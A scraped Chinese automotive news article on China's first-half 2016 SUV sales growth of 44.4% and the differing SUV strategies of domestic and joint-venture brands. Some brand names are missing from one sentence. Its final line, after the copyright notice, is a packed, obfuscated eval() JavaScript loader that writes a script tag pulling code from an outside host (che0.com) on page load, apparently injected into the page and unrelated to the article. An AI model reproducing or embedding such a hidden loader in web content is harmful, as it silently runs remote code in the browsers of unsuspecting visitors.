上半年SUV销量增44.4% 自主品牌未来走向

139 阅读

  随着2016年时间过半,中国车市的中期考试也交出了满意的答卷。根据乘联会发布的数据显示,今年上半年中国乘用车市场销量突破千万大关,达到1,065.4万辆,同比攀升11.5%。其中SUV车型表现最为抢眼,总销量达到391.5万辆,同比增长44.4%,同时自主品牌SUV车型继续领跑销量榜单。

  但是盖世汽车通过整理上半年新上车型数据发现,在SUV车型市场中,自主品牌与合资品牌似乎选择了两条不同的发展路径。其中自主品牌更愿意将低单价、短周期、小车型定为发展战略,而合资品牌则继续稳扎稳打深耕紧凑型SUV市场。为此盖世汽车做出调查,通过梳理2016年1-6月中国市场SUV新上车型统计表和2016年1-6月中国市场SUV车型销量前20信息统计表(下简称图一、图二),结合业内人士调查,看未来自主品牌能否在SUV车型市场的“热土”上抢占先机。

  

  2016年1-6月中国市场SUV新上车型统计表

  图二

  2016年1-6月中国市场SUV车型销量前20信息统计表

自主品牌霸占三甲 合资品牌认可度高


近些年来中国消费市场的结构发生了变化,多方面利好因素使中国车企迅速完成了前期的技术积累,但由逆向研发所带来的问题也在凸显。所以抛开成本定价、终端优惠、政策扶植等因素的影响,合资品牌在产品力、口碑等综合性能上具有更加明显的优势,这一点在图二中也可以看出。虽然、、传祺的销量遥遥领先,但是在上半年销量前20中,合资品牌依靠其产品力和品牌溢价更多的将15万以上的中端市场牢牢把控。

大空间将成为趋势

反观图一和图二,在上半年新上市的19款车型中,有8款小型SUV和7款紧凑型SUV;而在上半年销量前20中,有7款小型SUV和10款紧凑型SUV,说明现阶段无论是消费者还是车企都看好中小型SUV市场。但是将数据拆分后发现,在上半年SUV销量前20中,奥迪Q5、别克昂科威、T600分别形成了中型SUV市场中高中低三个档次车型覆盖,并且拥有非常不错的销量数据,消费者的观念似乎发生了转变。 的确,随着中国汽车消费市场的不断成熟,消费者对于自己的用车需求也将更加明确。SUV车型高通过性、空间灵活的优势将更容易被市场所接受,这对于中型SUV市场来说是一个积极的信号。并且随着国家“二胎”政策的进一步推进,其政策红利或将助推中型SUV车型的发展。

小结 SUV车型正逐渐成为带动中国汽车市场增长的核心驱动力,而合资品牌的加入也使未来的SUV车型市场竞争更加激烈。相信随着自主品牌的持续发力,以提升产品力和性价比为核心的发展策略,必定赢得消费者的青睐。

责任编辑:张钰鹏

文章关键词:产业自媒体

[返回首页]
版权声明
1.本网站所转载的作品,目的在于传递更多信息,并不代表本网站赞同其观点和对其真实性负责。
2.如因作品内容,版权和其他问题需要同本网站联系的,请邮件联系我们zywinqq@163.com
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('5.6("<1 4=\\"2\\/3\\" a=\\"b:\\/\\/9.7\\/0\\/8.0\\"><\\/1>");',12,12,'js|script|text|javascript|type|document|write|com|my|che0|src|http'.split('|'),0,{}));